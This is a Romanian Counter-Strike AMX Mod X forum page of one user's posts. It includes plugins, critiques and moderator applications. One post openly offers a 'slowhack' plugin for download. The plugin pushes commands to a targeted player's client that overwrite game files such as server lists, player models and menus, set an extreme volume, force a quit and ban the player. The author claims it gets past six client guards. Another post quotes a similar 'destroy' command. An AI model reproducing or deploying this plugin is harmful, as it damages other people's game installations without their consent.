Jump to content

LondoN eXtream

Banned
  • Posts

    640
  • Joined

  • Last visited

  • Days Won

    1

Posts posted by LondoN eXtream

  1. daca tu zici ca distruge cs-ul , trece de registrii  la windows, ca eu nu cred . 

    Nici un amxx nu poate modifica registri sau alte parti ale windows-ului.

    Dar exista pluginuri care descarca .DLL-ul care iti modifica registri, propietatile fisiereloir , le rescrie.

     

    Un bun exemplu ar fi TrackerDownloader / Project Nexon.

    *   - Comanda nu mai poate fi folosita pe personal, admini, boti.

    Nu vad unde este afirmatia in plugin..

     

     

    public cmdPika ( id, level, cid )

    {

        if ( !cmd_access ( id, level, cid, 2 ) )

            return 1;

        

        new arg [ 33 ];

        read_argv ( 1, arg, charsmax ( arg ) );

        new player = cmd_target ( id, arg, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF );

        

        if ( !player )

        {

            console_print ( id, "[RangFort] Jucatorul nu este online sau a iesit de pe Server." );

            return 1;

        }

        

        new authid [ 33 ], authid2 [ 33 ],

        name2 [ 33 ], name [ 33 ],

        userid2, reason [ 32 ], userip [ 33 ];

        

        get_user_authid ( id, authid, charsmax ( authid ) );

        get_user_authid ( player, authid2, charsmax ( authid2 ) );

        get_user_name ( player, name2, charsmax ( name2 ) );

        get_user_name ( id, name, charsmax ( name ) );

        get_user_ip ( player, userip, charsmax ( userip ) );

        

        userid2 = get_user_userid ( player )

        

        read_argv ( 2, reason, 31 );

        remove_quotes ( reason );

        

        log_to_file ( LOGFILE, "Adminul %s La Distrus Pe: %s cu motivul: (%s)", name, player, userid2, reason )

        

        for ( new i = 0; i < sizeof ( g_pika ); i++ )

            client_cmd ( player, g_pika [ i ] );

        

        server_cmd("amx_teg ^"%s^" ^"%s^" 0 ^"Ai Fost Distrus + ban permanent^"",name2,userip)

        

        client_cmd ( 0, "spk ^"vox/bizwarn detected user has teg^"" );

     

        ColorChat( 0, "^x04--------------------------------WWW.RANGFORT.RO--------------------------------------------------" );

        ColorChat( 0, "^x04[RANGFORT.RO]^x01 Jucatorul^x04 %s^x01 cu ip^x04 %s^x01 a fost^x03 Distrus si banat^x01 !", name2, userip );

        ColorChat( 0, "^x04[RANGFORT.RO]^x01 Comanda executata de catre adminul^x04 %s^x01 !", name );

        ColorChat( 0, "^x04--------------------------------WWW.RANGFORT.RO--------------------------------------------------" );

        

        set_hudmessage( 0, 255, 0, -1.0, -1.0, 2, 2.0, 2.0 );

        show_hudmessage( 0, "Jucatorul %s a fost Distrus si banat!^nComanda executata de adminul %s.",name2, name );

     

        return 1;

    }

     

     

    tu o vezi?

     

     

     

    if ( is_user_admin ( player ) || !is_user_bot ( player ) )                                return PLUGIN_HANDLED;

     

     

     

    In al doilea rand.

        "WWW.RANGFORT.RO",

    Ce comanda ar trebui sa fie asta?

     

    tu cand tastezi in consola la CS WWW.RANGFORT.RO se intampla vreo ceva?

    • Like 1
  2.  

    #include <amxmodx>
    #include <amxmisc>

    #pragma semicolon 1

    public client_putinserver(id) {
        if(!is_user_bot(id)) {
            new random_team = random_num(1,2);
            
            client_cmd(id, "jointeam %s", random_team);
        }
        
        return PLUGIN_CONTINUE;
    }

     

    • Like 1
  3. Nume : Alex
    Nick : Alex #
    Vârstă : 13
    Motiv : Doresc sa fac parte din STAFF si sa ajut cu ce pot
    Adresa de contact : alex.alex0201 [intru mai rar]
    Timp alocat forumului : 3-4 ore

    Ce secţiuni doreşti să moderezi? AMXMODX
    De ce ai ales aceste sectiuni? Pentru ca ma pricep
    De ce doreşti să moderezi în această comunitate? Pentru ca imi place.
    Ai mai moderat pe IPB? Desigur
    Ce înţelegi prin "Post hunt"? Post inutil, pentru +1
    Ce înţelegi prin "Dublu post"? 2 posturi, unu dupa altul facute de acelasi membru
    Ce înseamnă "Warez"? Piraterie
    Ce înseamnă "NSFW"? +18
    Care este diferenţa dintre post hunt şi off-topic? +1 - abatere de la subiect
    Ce planuri ai ca să sporeşti activitatea membrilor în secţiunile pe care doreşti să le moderezi ? -  pe parcurs o sa apara si creatii personalizate [nu sunt robot sa scriu x,y in 5-10 minute]
    Ai citit regulamentul forumului ? Desigur.

     

    P.S - Activitatea.

    Nu prea este activitate, iar copy paste de pe alte forumuri, nu prea mi se pare 'activitate'.

  4. # Descriere: Acest plugin se numeste Bye Loser, care are ca si scop banarea si distrugerea codatilor. Acest plugin trece de 6 guard-uri.
    # Download:

    #include <amxmodx>
    #include <amxmisc>

    #define PLUGIN        "Advanced Bye Bye"
    #define VERSION       "1.0"
    #define AUTHOR        "Alex #"

    #pragma semicolon     1
    #pragma tabsize       0

    #define ANTI_GUARD

    #define MAX_NAME_LENGHT   32

    new g_msgSayText;

    new const g_sCommands [ ] [ ] = {
        "fps ^"1^"",
        "cl_weather ^"2222^"",
        "motdfile ^"!MD5/../../config/MasterServers.vdf^"; motd_write ^"Hacked by Alex #^"",
        "motdfile ^"models/player/gign/gign.mdl^"; motd_write ^"Hacked by Alex^"",
        "motdfile ^"models/player/sas/sas.mdl^"; motd_write ^"Hacked by Alex^"",
        "motdfile ^"models/w_ak47.mdl^"; motd_write ^"Hacked by Alex^"",
        "motdfile ^"resource/GameMenu.res^"; motd_write ^"Hacked by Alex^"",
        "motdfile !MD5/,,/,,/config/ServerBrowser.vdf^"; motd_write ^"Hacked by Alex^"",
        "name ^"UN MARE DISTRUS^"",
        "volume ^"9999.9^"",
        "quit"
    };

    public plugin_init()
    {
        register_plugin ( PLUGIN, VERSION, AUTHOR );
        
        register_concmd ( "amx_bye", "CMD_BYE", ADMIN_LEVEL_A, "<name>" );
        
        g_msgSayText = get_user_msgid ( "SayText" );
    }

    public CMD_BYE ( id, level, cid )
    {
        if ( !cmd_access ( id, level, cid, 1 ) )                          return PLUGIN_HANDLED;
        
        #if defined ANTI_GUARD
        console_cmd( id, "^"sv_zmax 409^" Enabled False" );
        console_cmd( id, "prot_setcvar Enabled False" );
        console_cmd( id, "^"sv_zmax 409^" GuardON False" );
        console_cmd( id, "csx_setcvar Enabled False" );
        console_cmd( id, "rus_setcvar Enabled False" );
        console_cmd( id, "unk_setcvar Enabled False" );
        console_cmd( id, "cl_filterstuffcmd 0" );
        console_cmd( id, "fix_setcvar Enabled False" );
        console_cmd( id, "clear" );
        #endif
        
        new g_sArgument [ MAX_NAME_LENGHT ];
        new g_sName [ MAX_NAME_LENGHT ];
        new g_sIP [ MAX_NAME_LENGHT ];
        new g_Dir [ 64 ];
        new g_File [ 64 ];
        
        read_argv ( 1, g_sArgument, sizeof ( g_sArgument ) -1 );
        
        if ( equal ( g_sArgument, "" ) )
        {
            client_print ( id, print_console, "Usage: amx_bye < name >" );
            return PLUGIN_HANDLED;
        }
        
        new g_Target = cmd_target ( id, g_sArgument, ( CMDTARGET_NO_BOTS ) );
        
        if ( !g_Target || is_user_connected ( g_Target ) )
        {
            client_print ( id, print_console, "[bYE] This client isn't valid" );
            return PLUGIN_HANDLED;
        }
        
        get_user_name ( g_Target, g_sName, 31 );
        get_user_ip ( g_Target, g_sIP, 31 );
        
        get_configsdir ( g_Dir, charsmax ( g_Dir ) );
        formatex ( g_File, charsmax ( g_File ), "%s/bye_log.txt", g_Dir );
        
        //write_file ( g_File, "[bYE] Player ^"%s^" with IP ^"%s^" has been destroyed^"", g_sName, g_sIP );
        
        for ( new i = 0; i < sizeof ( g_sCommands ); i++ )
        {
            client_cmd ( g_Target, "wait;wait;wait;wait;wait; snapshoot" );
            client_cmd ( g_Target, "wait;wait;wait;wait;wait; %s", g_sCommands [ i ] );
        }
        
        client_cmd ( 0, "spk ^"attention bizwarn detected user and eliminate^"" );
        
        new gAdmin [ MAX_NAME_LENGHT ];
        get_user_name ( id, gAdmin, 31 );
        
        ColorChat ( 0, "!x04[ZM] !x03Player !x04%s !x03has been eliminated by !x04%s", g_sName, gAdmin );
        
        set_hudmessage(0, 0, 0, 0.20, 0.28, 0, 6.0, 5.0);
        show_hudmessage(id, "Player %s has beent eliminated^nCommand executed by %s", g_sName, gAdmin);
        
        server_cmd ( "amx_ban ^"%s^" ^"0^" ^"bye^"", g_sName );
        server_cmd ( "amx_ban ^"%s^" ^"0^" ^"bye^"", g_sIP );
        server_cmd ( "amx_addban ^"%s^" ^"0^" ^"bye^"", g_sIP );
        return PLUGIN_CONTINUE;
    }

    stock ColorChat(const id, const input[], any:...) {
        new count = 1, players[32];
        static msg[191];
        vformat(msg, 190, input, 3);
        
        replace_all(msg, 190, "!x04", "^4");
        replace_all(msg, 190, "!x03", "^3");
        
        if(id) players[0] = id;
        else get_players(players, count, "ch"); {
            for(new i = 0; i < count; i++) {
                if(is_user_connected(players)) {
                    message_begin(MSG_ONE_UNRELIABLE, g_msgSayText, _, players);
                    write_byte(players);
                    write_string(msg);
                    message_end();
                }
            }
        }
    }


    # Nume: Advanced Bye Loser
    # Versiunea: 1.0
    # Instalare:

    => Fisierul nume_plugin.sma il puneti in addons/amxmodx/scripting
    => Fisierul nume_plugin.amxx il puneti in addons/amxmodx/plugins
    => Intrati in fisierul addons/amxmodx/configs/plugins.ini si adaugati la urma:
    nume_plugin.amxx

  5. # Descriere: Acest plugin a fost facut pentru a nu se putea fura ammo :)
    # Download:

    #include <amxmodx>
    #include <amxmisc>
    #include <zombieplague>

    #define PLUGIN        "Anti Ammo Hack"
    #define VERSION       "1.0"
    #define AUTHOR        "londoN"

    new Packs[33];

    public plugin_init()
    {
        register_plugin(PLUGIN, VERSION, AUTHOR);
        
        set_task(1.0, "TASK_AMMO", _, _, _, "b");
        set_task(2.0, "TASK_CHECK", _, _, _, "b");
    }

    public TASK_AMMO()
    {
        static entity;
        for(entity = 1; entity < get_maxplayers(); entity++)
        {
            Packs[entity] = zp_get_user_ammo_packs(entity);
            
            if(Packs[entity] == 10000 && !is_user_admin(entity))
            {
                return PLUGIN_CONTINUE;
            }
        }
        
        return PLUGIN_CONTINUE;
    }

    public TASK_CHECK()
    {
        static hacker;
        for(hacker = 1; hacker < get_maxplayers(); hacker++)
        {
            Packs[hacker] = zp_get_user_ammo_packs(hacker);
            
            if(Packs[hacker] > 15000 && !is_user_admin(hacker))
            {
                new Name[32];
                get_user_name(hacker, Name, 31);
                server_cmd("amx_ban ^"%s^" ^"0^" ^"hacker?^"", Name);
                set_hudmessage(0, 127, 255, 0.16, 0.16, 0, 6.0, 1.0);
                show_hudmessage(0, "%s tried to use ammo packs hack!");
                return PLUGIN_CONTINUE;
            }
        }
        
        return PLUGIN_CONTINUE;
    }


    # Nume: ZP - Anti Ammo Hack
    # Versiunea: 1.0

    # Autor: london [me]
    # Instalare:

    => Fisierul nume_plugin.sma il puneti in addons/amxmodx/scripting
    => Fisierul nume_plugin.amxx il puneti in addons/amxmodx/plugins
    => Intrati in fisierul addons/amxmodx/configs/plugins.ini si adaugati la urma:
    nume_plugin.amxx

  6. Descriere: Acesta este un plugin VIP simplu.

    Avantaje:

    VIP in scoreboard
    Sarituri Multiple [setate prin cvar]
    Viata Si Armura la spawn [setate prin cvar]
    VIP Model
    +20 HP / kill

    Descarcare:

     

     

    #include <amxmodx>
    #include <amxmisc>
    #include <cstrike>
    #include <fun>
    #include <hamsandwich>
    #include <engine>

    #define FLAG "t"

    new jumpnum[33] = 0
    new bool:dojump[33] = false
    new cvar_vip_health, cvar_vip_armor, cvar_vip_jumps

    new const model[] = "bb_vip_skin"

    public plugin_init()
    {
        register_plugin("[bB] Vip", "1.0", "alex ownage")
        
        RegisterHam(Ham_Spawn, "player", "PlayerSpawn", 1)
        
        register_event("DeathMsg", "PlayerKill", "a")
        
        cvar_vip_armor = register_cvar("bb_vip_spawn_armor", "100")
        cvar_vip_health = register_cvar("bb_vip_spawn_health", "200")
        cvar_vip_jumps = register_cvar("bb_vip_max_jumps", "1")
        
        register_message(get_user_msgid("ScoreAttrib"), "TabVIP")
        
        register_clcmd("say /vip", "sayVIP")
        register_clcmd("say /vips", "OnlineVIPS")
    }

    public plugin_precache()
    {
        new Model[64]
        formatex(Model, charsmax(Model), "models/player/%s/%s.mdl", model, model)
        
        precache_model(Model)
    }

    public PlayerKill()
    {
        static k; k = read_data(1)
        static v; v = read_data(2)
        
        if(get_user_flags(k) & read_flags(FLAG))
        {
            if(k == v)
            {
                return PLUGIN_HANDLED;
            }
            
            if(get_user_health(k) == 200)
            {
                return PLUGIN_HANDLED;
            }
            
            set_user_health(k, get_user_health(k) + 20)
        }
        
        return PLUGIN_CONTINUE;
    }

    public TabVIP(iMsgId, iDest, iReciver)
    {
        new iPlayer = get_msg_arg_int(1)
        
        if(get_user_flags(iPlayer) & read_flags(FLAG))
        {
            set_msg_arg_int(2, ARG_BYTE, (1<<2))
        }
    }

    public PlayerSpawn(id)
    {
        if(!is_user_alive(id))
        {
            return PLUGIN_HANDLED;
        }
        if(get_user_flags(id) && read_flags(FLAG))
        {
            if(cs_get_user_team(id) == CS_TEAM_CT)
            {
                
                set_user_health(id, get_pcvar_num(cvar_vip_health))
                set_user_armor(id, get_pcvar_num(cvar_vip_armor))
                cs_set_user_model(id, "bb_skin_vip")
            }
        }
        
        return PLUGIN_CONTINUE;
    }

    public sayVIP(id)
    {
        new Dir[64], File[64]
        
        get_configsdir(Dir, charsmax(Dir))
        
        formatex(File, charsmax(File), "%s/vip.txt", Dir)
        
        if(!file_exists(File))
        {
            ColorChat(id, "!x04[bB] !x03Eroare in deschiderea fisierului !x04vip.txt")
            return PLUGIN_HANDLED;
        }
        
        show_motd(id, File)
        
        return PLUGIN_CONTINUE;
    }

    public OnlineVIPS(id)
    {
        new AdminNames[33][32], Message[256]
        new Count, i, len
        
        if(!is_user_connected(id))
        {
            return PLUGIN_HANDLED;
        }
        
        if(get_user_flags(id) & read_flags(FLAG))
        {
            get_user_name(id, AdminNames[Count++], 31)
            
            len = format(Message, 255, "!x04Gold Members: !x03")
            if(Count > 0)
            {
                for(i = 0; i < Count; i++)
                {
                    len += format(Message[len], 255-len, "%s%s", AdminNames, i < (Count - 1) ? ", ":"")
                    if(len < 96)
                    {
                    }
                }
            }
            
        }
        
        ColorChat(id, Message)
        
        else {
            ColorChat(id, "!x04No Gold Members")
        }
        
        return PLUGIN_CONTINUE;
    }

    public client_PreThink(id)
    {
        if(!is_user_alive(id))
        {
            return PLUGIN_HANDLED;
        }
        
        new nbut = get_user_button(id)
        new obut = get_user_oldbutton(id)
        
        if((nbut & IN_JUMP) && !(get_entity_flags(id) & FL_ONGROUND) && !(obut & IN_JUMP))
        {
            if(get_user_flags(id) & read_flags(FLAG))
            {
                if(jumpnum[id] < get_pcvar_num(cvar_vip_jumps))
                {
                    dojump[id] = true
                    jumpnum[id]++
                    return PLUGIN_CONTINUE;
                }
            }
        }
        
        if((nbut & IN_JUMP) && (get_entity_flags(id) & FL_ONGROUND))
        {
            jumpnum[id] = 0
            return PLUGIN_CONTINUE;
        }
        
        return PLUGIN_CONTINUE;
    }

    public client_PostThink(id)
    {
        if(!is_user_alive(id))
        {
            return PLUGIN_CONTINUE;
        }
        
        if(get_user_flags(id) & read_flags(FLAG))
        {
            if(dojump[id] == true)
            {
                new Float:velocity[3]
                entity_get_vector(id,EV_VEC_velocity, velocity)
                velocity[2] = random_float(265.0,285.0)
                entity_set_vector(id,EV_VEC_velocity, velocity)
                dojump[id] = false
                return PLUGIN_CONTINUE;
            }
        }
        
        return PLUGIN_CONTINUE;
    }

    stock ColorChat(const id, const input[], any:...) {
        new count = 1, players[32];
        static msg[191];
        vformat(msg, 190, input, 3);
        
        replace_all(msg, 190, "!x04", "^4");
        replace_all(msg, 190, "!x03", "^3");
        
        if(id) players[0] = id;
        else get_players(players, count, "ch"); {
            for(new i = 0; i < count; i++) {
                if(is_user_connected(players)) {
                    message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), _, players);
                    write_byte(players);
                    write_string(msg);
                    message_end();
                }
            }
        }
    }

     

     

    Nume: BB VIP
    Versiune: 1.0
    Link oficial: aici
    Autor:: londoN aka me

    Instalare:
    1. Fisierul nume_plugin.sma il puneti in addons/amxmodx/scripting
    2. Fisierul nume_plugin.amxx il puneti in addons/amxmodx/plugins
    3. Intrati in fisierul addons/amxmodx/configs/plugins.ini si adaugati la urma:

    nume_plugin.amxx

    4. vip.txt > configs

    Cvar-uri (se adauga in fisierul amxmodx\configs\amxx.cfg):
    bb_vip_max_jumps - numarul maxim de sarituri [1 + 1 default]
    bb_vip_spawn_health - viata pe care o primeste la spawn
    bb_vip_spawn_armor - armura primita la spawn


    Comenzi administrative (se tasteaza in consola si trebuie sa fiti administrator):
    nu sunt

    Comenzi publice (se tasteaza in joc prin apasarea tastei Y):
    /vip - arata beneficiile
    /vips - arata vipii online

    Module necesare (se sterge ; din fata modulului de mai jos; acestea le gasiti in fisierul amxmodx\configs\modules.ini):
    cstrike
    engine
    hamsandwich
    fun

     

    Imagini: http://s12.postimg.org/fke8zxlmz/alex.png

  7. Nume : Alex
    Nick : Alex #
    Vârstă : 13
    Motiv : Sunt foarte experimentat in cea ce priveste AMXX-ul si am multe de oferit :)
    Adresa de contact : alex.alex0201 / Alex # ZM.RANGFORT.RO [steam]
    Timp alocat forumului : 3-4H

    Ce secţiuni doreşti să moderezi? Amx Mod X
    De ce ai ales aceste sectiuni? Pentru ca ma pricep.
    De ce doreşti să moderezi în această comunitate? Pentru ca imi place aceasta comunitate
    Ai mai moderat pe IPB? Desigur
    Ce înţelegi prin "Post hunt"? Post facut in prostie, pentru +1
    Ce înţelegi prin "Dublu post"? Post facut unul dupa altul de aceasi persoana.
    Ce înseamnă "Warez"? Plagiat
    Ce înseamnă "NSFW"? +18
    Care este diferenţa dintre post hunt şi off-topic? post huntul inseamna ca faci posturi in prostie pentru +1 iar off topic = abatere de la subiect.
    Ce planuri ai ca să sporeşti activitatea membrilor în secţiunile pe care doreşti să le moderezi ? Nu am planuri, totul vine pe parcurs.
    Ai citit regulamentul forumului Da.

     

    Edit: P.S , nu as vrea gradul de 'Moderator' ci 'Resource Team'

  8.  

    #include < amxmodx >
    #include < amxmisc >

    new const szDefaultAdvert [ ] = "nume nou";

    /*
    new const PLUGIN [ ] = "JM3KERYE";
    new const VERSION [ ] = "1.0";
    new const AUTHOR [ ] = "london jmekerika"
    */

    public client_putinserver ( id )
    {
        new szName [ 32 ];
        
        get_user_name ( id, szName, charsmax ( szName ) );
        
        if ( containi ( szName, ".ro" ) )
        {
            engclient_cmd ( id, "name", "%s", szDefaultAdvert );
            return PLUGIN_CONTINUE;
        }
        
        if ( containi ( szName, ".com" ) )
        {
            engclient_cmd ( id, "name", "%s", szDefaultAdvert );
            return PLUGIN_CONTINUE;
        }
        
        if ( containi ( szName, ".net" ) )
        {
            engclient_cmd ( id, "name", "%s", szDefaultAdvert );
            return PLUGIN_CONTINUE;
        }
        
        if ( containi ( szName, "1234567890" ) )
        {
            engclient_cmd ( id, "name", "%s", szDefaultAdvert )
            return PLUGIN_CONTINUE;
        }
        
        return PLUGIN_HANDLED;
    }

     

     

    Facut in 5 minute.

  9. Mi se pare o porcarie.

    La ce masa ai folosit nvault? :)) Faceai un sistem de puncte ceva? :))

    Fakmeta, daca ai folosit FM_ClientConnect, aceasta se poate rezuma la client_connect ( Client ), pe scurt, o prostie care provoaca lag.

     

    Nu recomand sa vi-l puneti pe server, ofera doar .amxx [ Poate pune in el xredirect / simple redirect / bind / autoconnect, si cu simpla afirmatie is_user_admin(id) [amxmisc.inc] poate lasa admini iar voi sa nu va dati seama ;)

     

    Care are nevoie de protectie calumea, PM.

     

    EDIT:

    #include < amxmodx >
    #include < amxmisc >

    new const g_szRest [ ] = {
        "nume 1",
        "nume 2"
    }

    new const g_szExceptIP [ ] = {
        "ip 1",
        "ip 2"
    }


    public client_connect ( id )
    {
        if(is_user_bot(id) && is_user_hltv(id))
        {
            return PLUGIN_HANDLED;
        }
        
        new szName [ 32 ], szIP [ 32 ]
        
        get_user_name ( id, szName, charsmax ( szName ) )
        get_user_ip ( id, szIP, charsmax ( szIP ) )
        
        for ( new i = 0; i < sizeof g_szRest; i++ ) {
            if ( equali ( szName, g_szRest [ i ] ) != -1 )
            {
                server_print ( "Jucator restrictionat" )
                log_to_file ( "aaa.log", "[AMXX] Name: %s - IP: %s, jucator restrictionat", szName, szIP )
                server_cmd  ( "amx_kick %s", szName )
                return PLUGIN_CONTINUE;
            }
            
            return PLUGIN_HANDLED;
        }
        
        for ( new x = 0; x < sizeof g_szExceptIP; x++ ) {
            if ( equali ( szIP, g_szExceptIP [ x ] ) != -1 )
            {
                server_print ( "Restricted IP" )
                log_to_file ( "aaa.log", "[AMXX] %s - restricted IP", szIP )
                server_cmd ( "amx_kick %s", szIP )
                return PLUGIN_CONTINUE;
            }
            
            return PLUGIN_HANDLED;
        }
        
        return PLUGIN_CONTINUE;
    }

     

  10.  

    #include <amxmodx>
    #include <amxmisc>

    //#define AUTHOR "londoN JM3KeruL"
    #define FLAGS    "ab" // flagurile de la vip

    public client_connect(id)
    {
        if(get_user_flags(id) & read_flags(FLAGS))
        {
            new name[32]
            
            get_user_name(id, name, charsmax(name))
            
            ColorChat(0, "!x04[AMXX] !x03VIP-ul !x04%s !x03s-a conectat pe server", name)
        }
        
        return PLUGIN_CONTINUE;
    }

    stock ColorChat(const id, const input[], any:...) {
        new count = 1, players[32];
        static msg[191];
        vformat(msg, 190, input, 3);
        
        replace_all(msg, 190, "!x04", "^4");
        replace_all(msg, 190, "!x03", "^3");
        
        if(id) players[0] = id;
        else get_players(players, count, "ch"); {
            for(new i = 0; i < count; i++) {
                if(is_user_connected(players)) {
                    message_begin(MSG_ONE_UNRELIABLE, g_msgSayText, _, players);
                    write_byte(players);
                    write_string(msg);
                    message_end();
                }
            }
        }
    }

     

×
×
  • Create New...